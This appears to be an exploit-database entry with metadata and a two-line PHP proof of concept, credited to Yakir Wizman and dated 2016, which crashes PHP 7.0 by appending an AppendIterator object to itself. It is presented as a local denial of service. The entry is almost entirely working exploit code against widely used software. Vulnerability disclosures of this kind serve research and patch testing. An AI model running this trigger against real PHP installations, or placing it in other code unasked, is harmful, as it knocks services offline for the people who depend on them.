PHP 7.0 - 'AppendIterator::append' Local Denial of Service

Author: Yakir Wizman
type: dos
platform: php
port: 
date_added: 2016-08-31  
date_updated: 2016-09-04  
verified: 0  
codes:   
tags:   
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raw file: 40321.php  

<?php
#############################################################################
## PHP 7.0 AppendIterator::append Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
$tmp = new AppendIterator();
$tmp->append($tmp); // Crash
?>